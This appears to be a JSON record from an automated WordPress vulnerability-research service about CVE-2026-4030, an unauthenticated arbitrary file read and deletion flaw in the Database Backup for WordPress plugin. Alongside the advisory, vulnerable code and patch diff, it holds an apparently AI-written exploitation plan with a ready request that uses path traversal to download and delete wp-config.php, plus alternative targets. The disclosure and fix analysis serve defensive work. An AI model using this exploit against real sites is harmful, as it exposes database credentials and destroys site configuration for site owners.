[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fzBgUcVmvmKo-JdYQtcNCpAmVU6HcEOMpT0E_tV94ELE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-4030","database-backup-for-wordpress-missing-authorization-to-unauthenticated-arbitrary-file-read-and-deletion","Database Backup for WordPress \u003C= 2.5.2 - Missing Authorization to Unauthenticated Arbitrary File Read and Deletion","The Database Backup for WordPress plugin for WordPress is vulnerable to unauthorized arbitrary file read and deletion in all versions up to, and including, 2.5.2. This is due to the plugin not properly enforcing the return value of its authorization check combined with a user-controlled backup directory parameter. This makes it possible for unauthenticated attackers to read and delete arbitrary files on the server, leading to Sensitive Information Exposure and potential site takeover. Note: This vulnerability is only exploitable in WordPress Multisite environments where the deprecated is_site_admin() function exists.","wp-db-backup",null,"\u003C=2.5.2","2.5.3","high",8.1,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Missing Authorization","2026-05-13 00:00:00","2026-05-14 12:32:10",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F3e21b550-e1c5-4e23-9999-16c837353da9?source=api-prod",2,[22,23,24],"README.md","readme.txt","wp-db-backup.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-4030\n\n## 1. Vulnerability Summary\nThe **Database Backup for WordPress** plugin (\u003C= 2.5.2) contains a critical missing authorization vulnerability combined with a path traversal\u002Farbitrary file access flaw. The plugin provides a mechanism to download or email backup files via the `init()` function. However, the authorization check function `can_user_backup()` is called but its return value is not enforced (it doesn't `die()` on failure). \n\nIn WordPress Multisite environments where the deprecated `is_site_admin()` function exists, this check fails to stop execution for unauthenticated users. Furthermore, the plugin allows the backup directory to be overridden via the `wp_db_temp_dir` GET parameter. This combination allows an unauthenticated attacker to read and subsequently delete arbitrary files on the server that the web server has permissions to access and write to.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** The site root `index.php` (triggering the `init` hook).\n*   **Vulnerable Action:** The `init()` method of the `wpdbBackup` class, which is hooked to WordPress `init`.\n*   **Parameters:**\n    *   `backup`: (GET) The name of the file to read\u002Fdelete.\n    *   `wp_db_temp_dir`: (GET) The directory path where the file is located.\n    *   `via`: (GET) Delivery method (defaults to `http` for direct download).\n*   **Preconditions:**\n    *   WordPress Multisite environment.\n    *   Presence of the `is_site_admin()` function.\n    *   The targeted directory (`wp_db_temp_dir`) must be writable by the PHP process (as per the `is_writeable()` check in `__construct`).\n\n## 3. Code Flow\n1.  **Initialization:** In `wpdbBackup::__construct()`, the plugin checks for the `backup` GET parameter:\n    ```php\n    } elseif ( isset( $_GET['backup'] ) ) {\n        $this->can_user_backup(); \u002F\u002F Authorization check called but result ignored\n        add_action( 'init', array( &$this, 'init' ) );\n    }\n    ```\n2.  **Directory Override:** Also in `__construct()`, the backup directory can be set by the user:\n    ```php\n    if ( isset( $_GET['wp_db_temp_dir'] ) ) {\n        $requested_dir = sanitize_text_field( $_GET['wp_db_temp_dir'] );\n        if ( is_writeable( $requested_dir ) ) {\n            $tmp_dir = $requested_dir;\n        }\n    }\n    $this->backup_dir = trailingslashit( apply_filters( 'wp_db_b_backup_dir', $tmp_dir ) );\n    ```\n3.  **Vulnerable Execution:** The `init()` method is triggered:\n    ```php\n    function init() {\n        $this->can_user_backup(); \u002F\u002F Result ignored again\n        if ( isset( $_GET['backup'] ) ) {\n            $via = isset( $_GET['via'] ) ? sanitize_text_field( $_GET['via'] ) : 'http';\n            $this->backup_file = sanitize_text_field( $_GET['backup'] );\n            $this->validate_file( $this->backup_file ); \u002F\u002F Likely checks existence in backup_dir\n            \n            switch ( $via ) {\n                \u002F\u002F ... (email cases)\n                default:\n                    $success = $this->deliver_backup( $this->backup_file, $via );\n            }\n            exit;\n        }\n    }\n    ```\n4.  **File Read & Delete:** `deliver_backup()` (inferred) sends the file to the browser and then `unlinks` it from `$this->backup_dir . $this->backup_file`.\n\n## 4. Nonce Acquisition Strategy\nThis specific vulnerability exploit path (via `GET['backup']`) **does not require a nonce**. \n*   The `__construct` logic only requires `check_admin_referer` (nonce check) if `$_POST['do_backup']` is set.\n*   The `$_GET['backup']` path only calls `can_user_backup()`, which is the faulty authorization check.\n*   Therefore, no nonce acquisition is necessary for unauthenticated exploitation.\n\n## 5. Exploitation Strategy\n\n### Goal: Read and Delete `wp-config.php`\n*Note: This is highly destructive as it will delete the configuration file.*\n\n### Step 1: Identify a Writable Directory\nThe `wp_db_temp_dir` must be writable. Common candidates in WordPress are:\n*   `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads` (usually writable)\n*   `\u002Ftmp`\n\n### Step 2: Path Traversal Attack\nSince we need to target `wp-config.php` (usually in the web root), and `wp_db_temp_dir` must be writable, we can point `wp_db_temp_dir` to the `uploads` directory and use path traversal in the `backup` parameter to reach `wp-config.php`.\n\n**Request Details:**\n*   **Method:** `GET`\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002F`\n*   **Query Parameters:**\n    *   `backup=..\u002F..\u002Fwp-config.php`\n    *   `wp_db_temp_dir=\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002F`\n\n**Execution with `http_request`:**\n```javascript\nawait http_request({\n  method: \"GET\",\n  url: \"http:\u002F\u002Flocalhost:8080\u002F\",\n  params: {\n    backup: \"..\u002F..\u002Fwp-config.php\",\n    wp_db_temp_dir: \"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002F\"\n  }\n});\n```\n\n## 6. Test Data Setup\n1.  **Multisite Setup:** Ensure WordPress is configured for Multisite.\n2.  **Permissions:** Ensure `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002F` is writable by the `www-data` user.\n3.  **Mock Function (if testing on modern WP):** If testing on a version of WP where `is_site_admin()` is completely gone, it may need to be defined in a mu-plugin to simulate the vulnerable environment:\n    ```php\n    \u002F\u002F \u002Fwp-content\u002Fmu-plugins\u002Fmock-admin.php\n    function is_site_admin() { return false; }\n    ```\n\n## 7. Expected Results\n*   **HTTP Response:** The content of `wp-config.php` should be returned in the response body.\n*   **Content-Disposition:** Headers likely include `attachment; filename=\"wp-config.php\"`.\n*   **Filesystem Change:** The file `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php` will be **deleted** immediately after the request completes.\n\n## 8. Verification Steps\n1.  **Check Response Body:** Verify the response contains the string `DB_NAME` or `DB_PASSWORD`.\n2.  **Check Filesystem via WP-CLI:**\n    ```bash\n    # This should fail if the file was successfully deleted\n    ls \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\n    ```\n3.  **Verify Site Failure:** Attempting to load the WordPress site after exploitation should result in the WordPress \"Welcome\" installation screen, as `wp-config.php` is missing.\n\n## 9. Alternative Approaches\nIf direct path traversal in the `backup` parameter is blocked by `sanitize_text_field`, try pointing `wp_db_temp_dir` directly to the directory containing sensitive files that are likely writable, such as:\n1.  Targeting a specific log file in `wp-content\u002F`:\n    `?backup=debug.log&wp_db_temp_dir=\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002F`\n2.  Targeting a backup file created by the plugin itself in its default directory:\n    `?backup=database_name_wp_2023.sql&wp_db_temp_dir=\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fbackup-xyz\u002F` (if the directory is known or predictable).","The Database Backup for WordPress plugin allows unauthenticated users to read and delete arbitrary files on a server due to a failure in enforcing authorization checks and a user-controllable backup directory parameter. Attackers can exploit this via path traversal to download sensitive files like wp-config.php, which are then automatically deleted from the server by the plugin after the download completes.","\u002F\u002F wp-db-backup.php @ lines 138-144\n\t\tif ( isset( $_GET['wp_db_temp_dir'] ) ) {\n\t\t\t$requested_dir = sanitize_text_field( $_GET['wp_db_temp_dir'] );\n\t\t\tif ( is_writeable( $requested_dir ) ) {\n\t\t\t\t$tmp_dir = $requested_dir;\n\t\t\t}\n\t\t}\n\n---\n\n\u002F\u002F wp-db-backup.php @ lines 162-165\n\t\t} elseif ( isset( $_GET['backup'] ) ) {\n\t\t\t$this->can_user_backup();\n\t\t\tadd_action( 'init', array( &$this, 'init' ) );\n\t\t} else {\n\n---\n\n\u002F\u002F wp-db-backup.php @ lines 168-170\n\tfunction init() {\n\t\t$this->can_user_backup();\n\t\tif ( isset( $_GET['backup'] ) ) {","--- wp-db-backup.php\n+++ wp-db-backup.php\n@@ -138,12 +138,6 @@\n \n \t\t$tmp_dir = get_temp_dir();\n \n-\t\tif ( isset( $_GET['wp_db_temp_dir'] ) ) {\n-\t\t\t$requested_dir = sanitize_text_field( $_GET['wp_db_temp_dir'] );\n-\t\t\tif ( is_writeable( $requested_dir ) ) {\n-\t\t\t\t$tmp_dir = $requested_dir;\n-\t\t\t}\n-\t\t}\n \n \t\t$this->backup_dir = trailingslashit( apply_filters( 'wp_db_b_backup_dir', $tmp_dir ) );\n \t\t$this->basename   = 'wp-db-backup';\n@@ -160,10 +154,12 @@\n \t\t\t}\n \t\t} elseif ( isset( $_GET['fragment'] ) ) {\n-\t\t\t$this->can_user_backup( 'frame' );\n-\t\t\tadd_action( 'init', array( &$this, 'init' ) );\n+\t\t\tif ( $this->can_user_backup( 'frame' ) ) {\n+\t\t\t\tadd_action( 'init', array( &$this, 'init' ) );\n+\t\t\t}\n \t\t} elseif ( isset( $_GET['backup'] ) ) {\n-\t\t\t$this->can_user_backup();\n-\t\t\tadd_action( 'init', array( &$this, 'init' ) );\n+\t\t\tif ( $this->can_user_backup() ) {\n+\t\t\t\tadd_action( 'init', array( &$this, 'init' ) );\n+\t\t\t}\n \t\t} else {\n \t\t\tadd_action( 'admin_menu', array( &$this, 'admin_menu' ) );\n \t\t}\n@@ -168,7 +164,9 @@\n \n \tfunction init() {\n-\t\t$this->can_user_backup();\n+\t\tif ( ! $this->can_user_backup() ) {\n+\t\t\treturn;\n+\t\t}\n \t\tif ( isset( $_GET['backup'] ) ) {\n \t\t\t$via = isset( $_GET['via'] ) ? sanitize_text_field( $_GET['via'] ) : 'http';","The exploit targets the WordPress `init` hook by sending a GET request to the site root with specific parameters. An attacker sets the `wp_db_temp_dir` parameter to a writable directory on the server (e.g., the WordPress uploads directory) and provides a path-traversal string in the `backup` parameter to target sensitive files (e.g., `..\u002F..\u002Fwp-config.php`). Because the plugin fails to terminate execution when the `can_user_backup()` authorization check fails, and ignores nonce requirements for the GET-based backup retrieval path, the attacker can download the targeted file. After delivery, the plugin's `deliver_backup` logic deletes the file using `unlink()`, potentially disabling the site or removing audit logs. This exploit is effective in Multisite environments where legacy authorization functions exist.","gemini-3-flash-preview","2026-05-14 17:35:01","2026-05-14 17:36:01",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","2.5.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-db-backup\u002Ftags\u002F2.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-db-backup.2.5.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-db-backup\u002Ftags\u002F2.5.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-db-backup.2.5.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-db-backup\u002Ftags"]